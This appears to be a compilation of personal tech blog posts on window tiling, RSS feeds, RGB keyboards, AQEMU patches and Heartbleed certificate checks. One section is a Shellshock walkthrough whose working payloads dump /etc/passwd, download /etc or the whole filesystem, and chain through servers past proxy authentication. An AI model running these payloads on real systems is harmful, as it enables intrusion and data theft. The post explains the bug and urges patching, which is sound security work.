With a laptop and a 4K monitor, I wind up with a large number of windows scattered across my screens. The general disarray of scattered and randomly offset windows drives me nuts.

I've done some work to address this problem before (here and here), which I had been referring to as "quicktile". But that's what KDE called its implementation that allowed snapping the window to either half of the screen, or to some quarter. On Windows, there's a Power Tool called "Fancy Zones" that also has a few similarities. In an effort to disambiguate what I've built, I've renamed my approach to "Quick Grid Zones".

Since the last post on this, I've done some cleanup of the logic and also ported it to work on Windows.

This isn't a cross-platform implementation, but rather three implementations with some structural similarities, implemented on top of platform-specific tools.

• Linux KDE - KDE global shortcuts that call a Python script using xdotool, wmctrl, and xprop
• Mac OS - a lua script for ​Hammerspoon
• Windows - an ​AutoHotKey2 script

Simple demo of running this on KDE:

Grab the local tarball for this release, or check out the QuickGridZones project page.

A few years ago, I implemented a grid-based tiling window management tool for Linux/KDE that drastically improved my ability to utilize screen realestate on a 4K monitor.

The basic idea is that a 4K screen is divided into 16 cells in a 4x4 grid, and a Full HD screen is divided into 4 cells in a 2x2 grid. Windows can be snapped (Meta-Enter) to the nearest rectangle that aligns with that grid, whether that rectangle is 1 cell by 1 cell, or if it is 2 cells by 3 cells, etc. They can be moved around the grid with the keyboard (Meta-Up, Meta-Down, Meta-Left, Meta-Right). They can be grown by increments of the cell size in the four directions (Ctrl-Meta-Up, Ctrl-Meta-Down, Ctrl-Meta-Left, Ctrl-Meta-Right), and can be shrunk similarly (Shift-Meta-Up, Shift-Meta-Down, Shift-Meta-Left, Shift-Meta-Right).

While simple in concept, it dramatically improves the manageability of a large number of windows on multiple screens.

Since that first implementation, KDE or X11 introduced a change that broke some of the logic in the quicktile code for dealing with differences in behavior between different windows. All windows report location and size information for the part of the window inside the frame. When moving a window, some windows move the window inside the frame to the given coordinates (meaning that you set the window position to 100,100, and then query the location and it reports as 100,100). But other windows move the window _frame_ to the given coordinates (meaning that you set the window position to 100,100, and then query the location and it reports as 104,135). It used to be that we could differentiate those two types of windows because one type would show a client of N/A, and the other type would show a client of the hostname. But now, all windows show a client of the hostname, so I don't have a way to differentiate them.

Fortunately, all windows report their coordinates in the same way, so we can set the window's coordinates to the desired value, get the new coordinates, and if they aren't what were expected, adjust the coordinates we request by the error amount, and try again. That gets the window to the desired location reliably.

The downside is that you do see the window move to the wrong place and then shift to the right place. Fixing that would require finding some characteristic that can differentiate between the two types of windows. It does seem to be consistent in terms of what program the window is for, and might be a GTK vs QT difference or something. Alternatively, tracking the error correction required for each window could improve behavior by making a proactive adjustment after the first move of a window. But that requires maintaining state from one call of quicktile to the next, which would entail saving information to disk (and then managing the life-cycle of that data), or keeping it in memory using a daemon (and managing said daemon). For the moment, I don't see the benefit being worth that level of effort.

Here is the updated quicktile script.

To use the tool, you need to set up global keyboard shortcuts for the various quicktile subcommands. To make that easier, I created an importable quicktile shortcuts config file for KDE.

Of late I have also noticed that some windows may get rearranged when my laptop has the external monitor connected or disconnected. When that happens, I frequently wind up with a large number of windows with odd shapes and in odd locations. Clicking on each window, hitting Meta-Enter to snap it to the grid, and then moving it out of the way of the next window gets old very quickly. To more easily get back to some sane starting point, I added a quicktile snap all subcommand which will snap all windows on the current desktop to the grid. The shortcuts config file provided above ties that action to Ctrl-Meta-Enter.

This version works on Fedora 34; I have not tested on other distributions.

Many years ago, a coworker of mine showed me Window's "quick tiling" feature, where you would press Window-LeftArrow or Window-RightArrow to snap the current window to the left or right half of the screen. I then found that KDE on Linux had that same feature and the ability to snap to the upper-left, lower-left, upper-right, or lower-right quarter of the screen. I assigned those actions to the Meta-Home, Meta-End, Meta-PgUp, and Meta-PgDn shortcuts. (I'm going to use "Meta" as a generic term to mean the modifier key that on Windows machines has a Windows logo, on Linux machines has a Ubuntu or Tux logo, and Macs call "command".) Being able to arrange windows on screen quickly and neatly with keyboard shortcuts worked extremely well and quickly became a capability central to how I work.

Then I bought a 4K monitor.

With a 4K monitor, I could still arrange windows in the same way, but now I had 4 times the number of pixels. There was room on the screen to have a lot more windows that I could see at the same time and remain readable. I wanted a 4x4 grid on the screen, with the ability to move windows around on that grid, but also to resize windows to use multiple cells within that grid.

Further complicating matters is the fact that I use that 4K monitor along with the laptop's !FullHD screen which is 1920x1080. Dividing that screen into a 4x4 grid would be awkward; I wanted to retain a 2x2 grid for that screen, and keep a consistent mechanism for moving windows around on that screen and across screens.

KDE (Linux)

Unfortunately, KDE does not have features to support such a setup. So I went looking for a programatic way to control window size and placement on KDE/X11. I found three commandline tools that among them offered primitives I could build upon: xdotool, wmctrl, and xprop.

My solution was to write a Python program which took two arguments: a command and a direction.

The commands were 'move', 'grow', and 'shrink', and the directions 'left', 'right', 'up', and 'down'. And one additional command 'snap' with the location 'here' to snap the window to the nearest matching grid cells. The program would identify the currently active window, determine which grid cell was a best match for the action, and execute the appropriate xdotool commands. Then I associated keyboard shortcuts with those commands. Meta-Arrow keys for moving, Meta-Ctrl-Arrow keys to grow the window by a cell in the given direction, Meta-Shift-Arrow to shrink the window by a cell from the given direction, and Meta-Enter to snap to the closest cell.

Conceptually, that's not all that complicated to implement, but in practice:

Window geometry has to be adjusted for window decorations. But there appears to be a bug with setting the position of a window. The window coordinates used by the underlying tools for setting and getting the geometries do not include the frame, except for setting the position of the window, on windows that have a 'client' of the machine name instead of N/A. Getting the position, getting the size, and setting the size, all use the non-frame values. Windows with a client of N/A use the non-frame values for everything. A border width by title bar height offset error for only some of the windows proved to be a vexing bug to track down.

The space on a secondary monitor where the taskbar would be is also special, even if there is no task bar on that monitor; attempting to move a window into that space causes the window to shift up out of that space, so there remains an unused border on the bottom of the screen. Annoying, but I have found no alternative.

Move operations are not instantaneous, so setting a location and immediately querying it will yield the old coordinates for a short period.

A window which is maximized does not respond to the resize and move commands (and attempting it will cause xdotool to hang for 15 seconds), so that has to be detected and unmaximized.

A window which has been "Quick Tiled" using KDE's native quick-tiling feature acts like a maximized window, but does not set the maximized vert or maximized horz state flags, so cannot be detected with xprop, and to get it out of the KDE quick tiled state, it must be maximized and then unmaximized. So attempting to move a KDE quick tiled window leads to a 15 second pause, then the window maximizing briefly, and then resizing to the desired size. In practice, this is not much of an issue since my tool has completely replaced my use of KDE's quick-tiling.

OS X

I recently whined to a friend about not having the same window management setup on OS X; and he pointed me in the direction of a rather intriguing open source tool called ​Hammerspoon which lets you write Lua code to automate tasks in OS X and can assign keyboard shortcuts to those actions. That has a ​grid module that offers the necessary primitives to accomplish the same goal.

After installing Hammerspoon, launching it, and enabling Accessibility for Hammerspoon (so that the OS will let it control application windows), use init.lua as your ~/.hammerspoon/init.lua and reload the Hammerspoon config. This will set up the same set of keyboard shortcuts for moving application windows around as described in the KDE (Linux) section. For those who use OS X as their primary system, that set of shortcuts are going to conflict with (and therefore override) many of the ​standard keyboard shortcuts. Changing the keyboard shortcuts to add the Option key as part of the set of modifiers for all of the shortcuts should avoid those collisions at the cost of either needing another finger in the chord or putting a finger between the Option and Command keys to hit them together with one finger.

I was pleasantly surprised with how easily I could implement this approach using Hammerspoon.

Demo

Simple demo of running this on KDE:

(And that beautiful background is a high resolution photo by a friend and colleague, ​Sai Rupanagudi.)

I have a few audio courses, with each lecture as a separate mp3. I wanted to be able to listen to them using ​AntennaPod, but that means having an RSS feed for them. So I wrote a simple utility​ to take a directory of mp3s and create an RSS feed file for them.

It uses the ​PyRSS2Gen module, available in Fedora with dnf install python-PyRSS2Gen.

$ ./adhoc-rss-feed --help
usage: adhoc-rss-feed [-h] [--feed-title FEED_TITLE] [--url URL]
                      [--base-url BASE_URL] [--filename-regex FILENAME_REGEX]
                      [--title-pattern TITLE_PATTERN] [--output OUTPUT]
                      files [files ...]

Let's work through a concrete example.

An audio version of the King James version of the Bible is available from ​Firefighters for Christ; they provide a ​990MB zip of mp3s, one per chapter of each book of the Bible.

wget http://server.firefighters.org/kjv/kjv.zip
unzip kjv.zip
mv -- "- FireFighters" FireFighters # use a less cumbersome directory name

There are a lot of chapters in the Bible:

$ ls */*/*/*.mp3 | wc -l
1189

We can create an RSS2 feed with as little as

./adhoc-rss-feed \
    --output rss2.xml \
    --url=http://example.com/rss-feeds/kjv \
    --base-url=http://example.com/rss-feeds/kjv/ \
    */*/*/*.mp3

However, that's going to make for an ugly feed. We can make it a little less awful with

./adhoc-rss-feed \
    --feed-title="KJV audio Bible" \
    --filename-regex="FireFighters/KJV/(?P<book_num>[0-9]+)_(?P<book>.*)/[0-9]+[A-Za-z]+(?P<chapter>[0-9]+)\\.mp3" \
    --title-pattern="KJV %(book_num)s %(book)s chapter %(chapter)s" \
    --output rss2.xml \
    --url=http://example.com/rss-feeds/kjv \
    --base-url=http://example.com/rss-feeds/kjv/ \
    */*/*/*.mp3

That's simple, and good enough to be useful. Fixing up the names of the bible is beyond what that simple regex substitution can do, but we can also do some pre-processing cleanup of the files to improve that. A bit of tedius sed expands the names of the books:

for f in */*/*; do
    mv -iv $f $(echo "$f" | sed '
        s/Gen/Genesis/
        s/Exo/Exodus/
        s/Lev/Leviticus/
        s/Num/Numbers/
        s/Deu/Deuteronomy/
        s/Jos/Joshua/
        s/Jdg/Judges/
        s/Rth/Ruth/
        s/1Sa/1Samuel/
        s/2Sa/2Samuel/
        s/1Ki/1Kings/
        s/2Ki/2Kings/
        s/1Ch/1Chronicles/
        s/2Ch/2Chronicles/
        s/Ezr/Ezra/
        s/Neh/Nehemiah/
        s/Est/Esther/
        s/Job/Job/
        s/Psa/Psalms/
        s/Pro/Proverbs/
        s/Ecc/Ecclesiastes/
        s/Son/SongOfSolomon/
        s/Isa/Isaiah/
        s/Jer/Jeremiah/
        s/Lam/Lamentations/
        s/Eze/Ezekiel/
        s/Dan/Daniel/
        s/Hos/Hosea/
        s/Joe/Joel/
        s/Amo/Amos/
        s/Oba/Obadiah/
        s/Jon/Jonah/
        s/Mic/Micah/
        s/Nah/Nahum/
        s/Hab/Habakkuk/
        s/Zep/Zephaniah/
        s/Hag/Haggai/
        s/Zec/Zechariah/
        s/Mal/Malachi/
        s/Mat/Matthew/
        s/Mar/Mark/
        s/Luk/Luke/
        s/Joh/John/
        s/Act/Acts/
        s/Rom/Romans/
        s/1Co/1Corinthians/
        s/2Co/2Corinthians/
        s/Gal/Galatians/
        s/Eph/Ephesians/
        s/Php/Philipians/
        s/Col/Colosians/
        s/1Th/1Thesalonians/
        s/2Th/2Thesalonians/
        s/1Ti/1Timothy/
        s/2Ti/2Timothy/
        s/Tts/Titus/
        s/Phm/Philemon/
        s/Heb/Hebrews/
        s/Jam/James/
        s/1Pe/1Peter/
        s/2Pe/2Peter/
        s/1Jo/1John/
        s/2Jo/2John/
        s/3Jo/3John/
        s/Jde/Jude/
        s/Rev/Revelation/
    ')
done

There are a couple of errors generated due to the m3u files the wildcard includes as well as 'Job' already having its full name, but it will get the job done.

Run the same adhoc-rss-feed command again, then host it on a server under the given base url, and point your podcast client at the rss2.xml file.

AntennaPod lists episodes based on time, and in this case that makes for an odd ordering of the episodes, but by using the selection page in AntennaPod, you can sort by "Title A->Z", and books and chapters will be ordered as expected. And then when adding to the queue, you may want to sort them again. While there is some awkwardness in the UI with this extreme case, being able to take a series of audio files and turn them into a consumable podcast has proven quite helpful.

Here is a new release of my Corsair keyboard software.

The 0.4 release of rgbkbd includes:

• Union Jack animation and still image
• Templates and tools for easier customization
• Re-introduced brightness control

New Flag

For our friends across the pond, here's a Union Jack.

I started with this public domain image (from ​Wikipedia)

I scaled it down to 53px wide, cropped it to 18px tall, and saved that as uka.png in the flags/k95 directory. I then cropped it to 46px wide and saved that as flags/k70/uka.png. Then I ran make.

Here is what it looks like on the K95:

Tools

To make it easier to draw images for the keyboard, I created templates for the supported keyboards that are suitable for use with simple graphics programs.

Each key has an outline in not-quite-black, so you can flood fill each key. Once that image is saved, ./tools/template2pattern modified-template-k95.png images/k95/mine.png will convert that template to something the animated GIF mode can use. A single image will obviously give you a static image on the keyboard.

But you can also use this with ImageMagick's convert to create an animation without too much trouble.

For example, if you used template-k70.png to create 25 individual frames of an animation called template-k70-fun-1.png through template-k70-run-25.png, you could create an animated GIF with these commands (in bash):

for frame in {1..25}; do
    ./tools/template2pattern template-k70-fun-$frame.png /tmp/k70-fun-$frame.png
done
convert /tmp/k70-fun-{1..25}.png images/k70/fun.gif
rm -f /tmp/k70-fun-{1..25}.png

Brightness control

This version re-introduces the brightness level control so the "light" key toggles through four brightness levels.

Grab the source code, or the pre-built binary tarball.

Previous release

Here is a new release of my Corsair keyboard software.

The 0.3 release of rgbkbd includes:

• Add flying flag animations
• Add Knight Rider inspired animation
• Support images with filenames that have extensions
• Cleanup of the Pac-Man inspired animation code

Here is what the flying Texas flag looks like:

And the Knight Rider inspired animation:

Grab the source code, or the pre-built binary tarball.

Previous release

Update: Driving Corsair Gaming keyboards on Linux with Python, IV

Since I wrote about Driving the Corsair Gaming K70 RGB keyboard on Linux with Python, the ​ckb project has released v0.2. With that came changes to the protocol used to communicate with ckb-daemon which broke my rgbkbd tool.

So I had to do some work on the code. But that wasn't the only thing I tackled.

The 0.2 release of rgbkbd includes:

• Updates the code to work with ckb-daemon v0.2
• Adds support for the K95-RGB, in addition to the existing support for the K70-RGB.
• Adds a key-stroke driven "ripple" effect.
• Adds a "falling-letter" animation, inspired by a screen saver which was inspired by The Matrix.
• Adds support for displaying images on the keyboard, with a couple of example images.
• Adds support for displaying animated GIFs on the keyboard, with an example animated GIF.

That's right; you can play animated GIFs on these keyboards. The keyboards have a very low resolution, obviously, but internally, I represent them as an image sized based on a standard key being 2x2 pixels. That allows for half-key offsets in the mapping of pixels to keys which gets a reasonable approximation. Keys are colored based on averaging the color of the pixels for that key. Larger keys are backed by more pixels. If the image dimensions don't match the dimensions of the keyboard's image buffer (46x14 for K70, 53x14 for K95), it will slowly scroll around the image. Since the ideal image size depends on the keyboard model, the image files are segregated by model name.

Here is what that looks like:

(Also ​available on YouTube)

Grab the source code and have fun.

Previous release

Update: Driving Corsair Gaming keyboards on Linux with Python, III

I recently purchased a fun toy for my computer, a ​Corsair Gaming K70 RGB keyboard. It is a mechanical keyboard with each key individually backlit with an RGB LED. So you can pick the color of each key independently.

Lots of blinken-lights!

I realize there may not be many practical applications for such things, but it looked like fun. And it is.

There were a few hurdles to overcome. For one, I run Linux, which is not officially supported. Thankfully, someone had already done the hard work of reverse engineering the keyboard's USB protocol and written a ​Linux-compatible daemon and user utility called `ckb` for driving it. The design of ckb allows for any process to communicate with the ckb-daemon, so you can replace the ckb GUI with something else. I chose to create a Python program to replace ckb so I could play with this fun keyboard in a language I enjoy using. I also thought it would be a fun challenge to make the lighting of the keyboard controllable without having a GUI on the screen. Afterall, the keyboard has a way to give feedback: all those many, many RGB LEDs.

So I created rgbkbd. This supports doing some simple non-reactive animations of color on the keyboard, such as fading, pulsing, or jumping through a series of colors of the background. Or having those colors sweep across the keyboard in any of 6 different directions. And you can setup the set of colors you want to use by hitting the backlight and Windows lock keys to get into a command mode and select all the variations you want to apply.

But I found there were a couple of things I could do with this keyboard that have some practical value beyond just looking cool.

One is "typing mode". This is a mostly static lighting scheme with each logical group of keys lit in a different color. But it has one bit of reactive animation. It measures your current, your peak, and your sustained typing speed, and displays that on the number row of the keyboard. This way you can see how well you are typing. You can see how well you are sustaining a typing speed, and how "bursty" your typing is. (And yes, it docks your typing speed when you hit delete or the backspace key.)

Another interesting mode I created was a way to take notes without displaying what you are typing. Essentially, you switch to command mode, hit the 'Scroll Lock' key, and the keyboard lights random keys in green, but what you type is saved to a file in your home directory named .secret-<unixepochtime>. (A new file is created each time you switch into this keyboard mode.) But none of your keypresses are sent to the programs that would normally receive keystrokes. The trick here is that the keyboard allows you to "unbind" a key so that it does not generate a keystroke when you hit it. In this secrete note taking mode, all keys are unbound so none generate keystrokes for the OS. However, ckb-daemon still sees the events and passes them on to rgbkbd which can then interpret them. In this mode, it translates those keystrokes to text and writes them out to the current .secret file.

Oh, and for a fun patriotic look: press and hold the play button, tap the number pad 1, then tap blue, white, red, white, red, white, red, white; and release the play button.

Browse the source code​ or download the tarball.

(Also ​available on YouTube)

Here is the documentation for rgbkbd.

RGB KBD

rgbkbd is a Linux compatible utility for driving the Corsair Gaming K70 RGB keyboard using the ckb-daemon from ​ckb.

Rather than being built around a GUI like ckb is, rgbkbd is a Python program that allows for rapid prototyping and experimentation with what the ​K70 RGB keyboard can do.

Installation

Run rgbkbd_controller.py from this directory, or package it as an RPM, install it, and run /usr/bin/rgbkbd

Usage

Make sure that 'ckb-daemon' is running, and that 'ckb' is NOT running. rgbkbd replaces 'ckb's role in driving the keyboard animations, so they will interfere with each other if run concurrently. Like ckb, rgbkbd contains the logic behind the operations occuring on the keyboard.

rgbkbd will initialize the keyboard to a static all-white backlight.

Pressing the light button will toggle the backlight off and on.

Pressing the light button and the Windows lock button together (as a chord), will switch to the keyboard command mode. Pressing the light button and the Windows lock button again will return you to the previous keyboard mode.

The command mode allows you to select a number of different modes and effects. Most of the selections involve chording keys. When a new mode is selected, the keyboard exits command mode and initiates the new keyboard mode. When in command mode, your key presses are not passed on to currently running programs.

Static color lighting

The number keys are illuminated in a variety of colors. Pressing and releasing one of these keys will switch to a monochome color for the keyboard. Note that the ~/\ key to the left of 1` is for black.

Random pattern lighting

The Home key toggles through a random selection of colors. Hitting that key in command mode will select a random pair of colors, and a changing random set of keys will toggle between those colors.

You can select the colors for the random key animation. To do so, press and hold the Home key, then press the color selection key on the number row, and release the keys. Random keys will light with the chosen color on a black background. To select the background color as well, press and hold the Home key, then tap the color you want for the foreground, then tap the color you want for the background, and release the Home key.

Color pattern lighting

You can configure the keyboard to cycle through a pattern of colors with a configurable transition. The media keys show a light pattern in command mode. The stop button shows alternating colors. The back button shows a pulse that fades out. The play and forward buttons show fading colors at different rates. Press and hold one of those buttons, then tap a sequence of the color keys, then release the media key. The entire keyboard will cycle through the select colors using the selected transition.

Color motion lighting

You can put the color patterns described above into motion across the keyboard. To do so, choose your transition type and colors in the same way you would for the color pattern lighting, but before you release the transition selection key, tap a direction key on the number pad. You can select any of 6 different directions. Then release the transition key. The color pattern will now sweep across the keyboard in the direction you chose.

Touch-typing mode

The PrtScn button selects a touch-typing mode. Keys are statically backlit in logical groups. Plus the number row indicates your typing speed in increments of 10WPM (words per minute). The indicator includes the - and the = keys to indicate 110WPM and 120WPM, respectively.

As you type, the keys, starting with 1 will light up in white, creating a growing bar of white. This indicates your current typing speed. Your peak typing speed from the past is indicated with a yellow backlit key. If your peak typing speed exceeds 130WPM, the peak indicator will change to red. The average typing speed you have maintained over the past minute is indicated by a green backlit key. If this exceeds 130WPM, the indicator will change to blue.

Secret notes mode

The Scroll Lock key selects a secret note taking mode. The lighting will change to a random green-on-black animation, but what you type will be written to a file in your home directory named .secret-<timestamp> instead of going to your programs. This allows you to write a note to yourself for later without displaying what you are typing on the screen. This can be useful if you have someone sitting near you and you remembered something important but private you wanted to make sure you didn't forget.

Update: Driving Corsair Gaming keyboards on Linux with Python, II

​AQEMU is basic Qt-based GUI frontend for creating, modifying, and launching VMs. Unfortunately, the last release was years ago, and QEMU and KVM have progressed in that time. There are a few bugs that bother me about AQEMU. Today, I addressed some of them.

Edit: This blog post has been reworked after I found upstream patches.

The simple one was a spelling fix​; the word "Advanced" was misspelled as "Advaced" in multiple places. Someone else posted ​a patch for the same problem, but that missed one occurrence of the typo.

The more important one was adding a check-box for the Intel HD Audio sound card​. But then I found someone else had already posted a ​patch to add sound hardware support for both that card and the CS4231A soundcard. That patch did not apply cleanly to the aqemu-0.8.2-10 version as shipped in Fedora 20, so I backported that patch​. However, this patch was incomplete; it was missing the code for saving those options to the configuration file for the VM. So I created a patch to save those options​ which can be applied on top of my backport. At this point, I would suggest using the backport and the bugfix, rather than my original patch.

After applying the sound card support patches, you will need to re-detect your emulators so that AQEMU will allow you to select the newly-supported cards. To do that, go to File->Advanced Settings and click on Find All Emulators and then OK. Close and reopen AQEMU and the new audio card options should be available.

And one more was a fix for the "Use video streams detection and compression" option​. When reading the VM's configuration file, the 'Use_Video_Stream_Compression' flag was incorrectly parsed due to a misplaced exclamation point, leading to that option getting disabled every time you modified the VM configuration. (​Reported upstream.)

The setup

One of the simple examples of the Shellshock bug uses wget and overrides the user agent. For example:

USER_AGENT="() { : ; }; /bin/touch /tmp/SHELLSHOCKED"
wget -U "$USER_AGENT" http://example.com/cgi-bin/vulnerable.sh

(You can do it all as one line, but we're going to take USER_AGENT to the extreme, and setting it as a variable will make it clearer.)

You can create a simple CGI script that uses bash like this:

#!/bin/bash
echo "Content-type: text/html"
echo ""
echo "<html><title>hello</title><body>world</body></html>"

and put it in your cgi-bin directory as vulnerable.sh and then point the wget command above at it. (I will note for the sake of completeness that I do not recommend doing that on an internet accessible system -- there are active scans for Shellshock running in the wild!)

The malicious wget above will, on systems with touch in /bin, create an empty file in /tmp.

For checking your systems, this is quite handy.

Extend our flexibility

If we make the USER_AGENT a bit more complex:

USER_AGENT="() { : ; }; /bin/bash -c '/bin/touch /tmp/SHELLSHOCKED'"

We now can run an arbitrarily long bash script within the Shellshock payload.

One of the issues people have noticed with Shellshock is that $PATH is not set to everything you may be used to. With our construct, we can fix that.

USER_AGENT="() { : ; }; /bin/bash -c 'export PATH=/bin:/usr/bin:/sbin:/usr/sbin:/usr/local/bin:\$PATH; touch /tmp/SHELLSHOCKED'"

We now have any $PATH we want.

Enter CGI again

What can we do with that? There have been a number of examples which using ping to talk to a known server or something along those lines. But can we do something a bit more direct?

Well, we created a CGI script in bash for testing this exploit, so the webserver is expecting CGI output from the underlying script. What if we embed another CGI script into the payload? That looks like

USER_AGENT="() { : ; }; /bin/bash -c 'export PATH=/bin:/usr/bin:/sbin:/usr/sbin:/usr/local/bin:\$PATH; echo -e \"Content-type: text/html\n\"; echo -e \"<html><title>Vulnerable</title><body>Vulnerable</body></html>\"'"

Now wget will get back a valid web-page, but it's a webpage of our own. If we are getting back a valid webpage, maybe we'd like to look at that page using our webbrowser, right? Well, in Firefox it's easy to change our USER_AGENT. To figure out what we should change it to, we run

echo "$USER_AGENT"

and get

() { : ; }; /bin/bash -c 'export PATH=/bin:/usr/bin:/sbin:/usr/sbin:/usr/local/bin:$PATH; echo -e "Content-type: text/html\n"; echo -e "<html><title>Vulnerable</title><body>Vulnerable</body></html>"'

We can then cut and paste that into the general.useragent.override preference on the about:config page of Firefox. (To add the preference in the first place, Right-click, New->String, enter general.useragent.override for the name and paste in the USER_AGENT value for the value.) Then we can point Firefox at http://example.com/cgi-bin/vulnerable.sh and get a webpage that announces the system is vulnerable. (I would recommend creating a separate user account for this so you don't inadvertently attempt to exploit Shellshock on every system you browse. I'm sure that when you research your tax questions on ​irs.gov, they'll be quite understanding of how it all happened.)

What can we do with our new vulnerability webpage? Perhaps something like this:

USER_AGENT="() { : ; }; /bin/bash -c 'export PATH=/bin:/usr/bin:/sbin:/usr/sbin:/usr/local/bin:\$PATH; echo -e \"Content-type: text/html\n\"; echo -e \"<html><title>Vulnerability report \`hostname\`</title><body><h1>Vulnerability report for\`hostname\`; \`date\`</h1><h2>PATH</h2><p>\$PATH</p><h2>IP configuration</h2><pre>\`ifconfig\`</pre><h2>/etc/passwd</h2><pre>\`cat /etc/passwd\`</pre><h2>Apache config</h2><pre>\`grep . /etc/httpd/conf.d/*.conf | sed \"s/</\</g\"\`</pre></body></html>\" 2>&1 | tee -a /tmp/SHELLSHOCKED'"

Let's break that down. The leading () { : ; }; is the key to the exploit. Then we have the payload of /bin/bash -c '...' which allows for an arbitrary script. That script, if formatted sanely, would look something like this

export PATH=/bin:/usr/bin:/sbin:/usr/sbin:/usr/local/bin:$PATH;
echo -e "Content-type: text/html\n"
echo -e "<html><title>Vulnerability report `hostname`</title>
<body>
    <h1>Vulnerability report for `hostname`; `date`</h1>
    <h2>PATH</h2>
    <p>$PATH</p>
    <h2>IP configuration</h2>
    <pre>`ifconfig -a`</pre>
    <h2>/etc/passwd</h2>
    <pre>`cat /etc/passwd`</pre>
    <h2>Apache config</h2>
    <pre>`grep . /etc/httpd/conf.d/*.conf | sed "s/</\&lt;/g"`</pre>
</body></html>" 2>&1 | tee -a /tmp/SHELLSHOCKED'

That generates a report giving the server's:

• hostname
• local time
• content of /etc/passwd
• apache configuration files

Not only does it send the report back to us, but also appends a copy to /tmp/SHELLSHOCKED... just for good measure. This can be trivially expanded to run find / to generate a complete list of files that the webserver is allowed to see, or run just about anything else that the webserver has permission to do.

Heavier load

So we've demonstrated that we can send back a webpage. What about a slightly different payload? With this USER_AGENT

USER_AGENT="() { : ; }; /bin/bash -c 'export PATH=/bin:/usr/bin:/sbin:/usr/sbin:/usr/local/bin:\$PATH; echo -e \"Content-type: application/octet-stream\n\"; tar -czf- /etc'"

run slightly differently,

wget -U "$USER_AGENT" -O vulnerable.tar.gz http://example.com/cgi-bin/vulnerable.sh

we have now pulled all the content from /etc that the webserver has permission to read. Anything it does not have permission to read has been skipped. Only patience and bandwidth limits us from changing that to

USER_AGENT="() { : ; }; /bin/bash -c 'export PATH=/bin:/usr/bin:/sbin:/usr/sbin:/usr/local/bin:\$PATH; echo -e \"Content-type: application/octet-stream\n\"; tar -czf- /'"

and thus download everything on the server that the webserver has permission to read.

Boomerang

Arbitrary code execution can be fun. Afterall, why not browse via the webserver? (Assuming the webserver can get out again.)

USER_AGENT="() { : ; }; /bin/bash -c 'export PATH=/bin:/usr/bin:/sbin:/usr/sbin:/usr/local/bin:\$PATH; echo -e \"Content-type: application/octet-stream\n\"; wget -q -O- https://retracile.net'"

Oh, look. We can run wget on the vulnerable server, which means we can use the server to exploit Shellshock on another server. So with this USER_AGENT

USER_AGENT="() { : ; }; /bin/bash -c 'export PATH=/bin:/usr/bin:/sbin:/usr/sbin:/usr/local/bin:\$PATH; echo -e \"Content-type: application/octet-stream\n\"; wget -q -O- -U \"() { : ; }; /bin/bash -c \'export PATH=/bin:/usr/bin:/sbin:/usr/sbin:/usr/local/bin:\\\$PATH; echo -e \\\"Content-type: application/octet-stream\\n\\\"; wget -q -O- https://retracile.net\'\" http://other.example.com/cgi-bin/vulnerable.sh'"

we use Shellshock on example.com to use Shellshock on other.example.com to pull a webpage from ​retracile.net.

Inside access

Some webservers will be locked down to not be able to connect back out to the internet like that, but many services are proxied by Apache. In those cases, Apache has access to the other webserver it is proxying for, whether it is local or on another machine in its network. Authentication may be enforced by Apache before doing the proxying. In such a configuration, being able to run wget on the webserver would allow access to the proxied webserver without going through Apache's authentication.

Conclusions

While the exploration of Shellshock here postulates a vulnerable CGI script, the vulnerability can be exploited even without CGI being involved. That said, if you have any CGI script that executes bash explicitly or even implicitly on any code path, the above attacks apply to you.

If you have any internet-facing systems, you'd better get it patched -- twice. The first patch sent out was incomplete; the original Shellshock is ​CVE-2014-6271 and the followup is ​CVE-2014-7169.

There has been a great deal of commotion about ​The Heartbleed Bug, particularly from the point of view of server operators. Users are being encouraged to change all their passwords, but--oh, wait--not until after the servers get fixed.

How's a poor user to know when that happens?

Well, you can base it on when the site's SSL cert was issued. If it was issued prior to the Heartbleed announcement, the keys have not been changed (but see update) in response to Heartbleed. That could be for a couple of different reasons. One is that the site was not vulnerable because it was never running a vulnerable version of OpenSSL. The other is that the site was vulnerable, and the vulnerability has been patched, but the operators of the site have not replaced their SSL keys yet.

In either of those two cases, changing your password isn't going to do much. If the site was never vulnerable, your account is not affected. If it was vulnerable, an adversary who got the private keys still has them, and changing your password does little for you.

So once a site updates its SSL cert, it then makes sense to change your password.

How do you know when that happens? Well, if you are using Firefox, you can click on the lock icon, click on the 'more information' button, then the Security tab, then the 'View Certificate' button, then look at the 'Issued On' line. Then close out that window and the previous window. ... For each site you want to check.

That got tedious.

cert_age_check.py:

#!/usr/bin/python
import sys
import ssl
import subprocess
import datetime


def check_bleeding(hostname, port):
    """Returns true if you should change your password."""
    cert = ssl.get_server_certificate((hostname, port))
    task = subprocess.Popen(['openssl', 'x509', '-text', '-noout'],
        stdin=subprocess.PIPE, stdout=subprocess.PIPE)
    readable, _ = task.communicate(cert)
    issued = [line for line in readable.splitlines() if 'Not Before' in
        line][0]
    date_string = issued.split(':', 1)[1].strip()
    issue_date = datetime.datetime.strptime(date_string,
        '%b %d %H:%M:%S %Y %Z')
    return issue_date >= datetime.datetime(2014, 4, 8, 0, 0)


def main(argv):
    """Syntax: python cert_age_check.py <hostname> [portnumber]"""
    hostname = argv[1]
    if len(argv) > 2:
        port = int(argv[2])
    else:
        # 993 and 995 matter for email...
        port = 443
    if check_bleeding(hostname, port):
        sys.stdout.write("Change your password\n")
    else:
        sys.stdout.write("Don't bother yet\n")
    return 0


if __name__ == '__main__':
    sys.exit(main(sys.argv))

This script checks the issue date of the site's SSL certificate to see if it has been issued since the Heartbleed announcement and tells you if it is time to change your password. If something goes wrong in that process, the script will fail with a traceback; I'm not attempting to make this particularly robust. (Nor, for that matter, elegant.)

If you save a list of hostnames to a file, you can run through them like this:

xargs -n 1 python cert_age_check.py < account_list

So if you have a file with

bankofamerica.com
flickr.com

you will get

Don't bother yet for bankofamerica.com
Change your password for flickr.com

While I would not suggest handing this to someone uncomfortable with a commandline, it is useful for those of us who support friends and family to quickly be able to determine what accounts to recommend they worry about and which to deal with later.

UPDATE: There is a flaw in this approach: I was surprised to learn that the cert that a CA provides to a website operator may have the same issue date as the original cert -- which makes it impossible for the user to determine if the cert is in fact new. With that wrinkle, if you are replacing your cert due to heartbleed, push your CA to give you a cert with a new issue date as evidence that you have fixed your security.

Something I mentioned elsewhere, but did not explicitly state here, is that even with a newly dated cert, a user still cannot tell if the private key was changed along with the cert. If the cert has not changed, the private key has not either. If the operator changes the cert, they will have changed the private key at that point if they are going to do so.

This gets us back to issues of trust. A security mechanism must have a way to recover from a security failure; that is widely understood. But Heartbleed is demonstrating that a security mechanism must include externally visible evidence of the recovery, or the recovery is not complete.

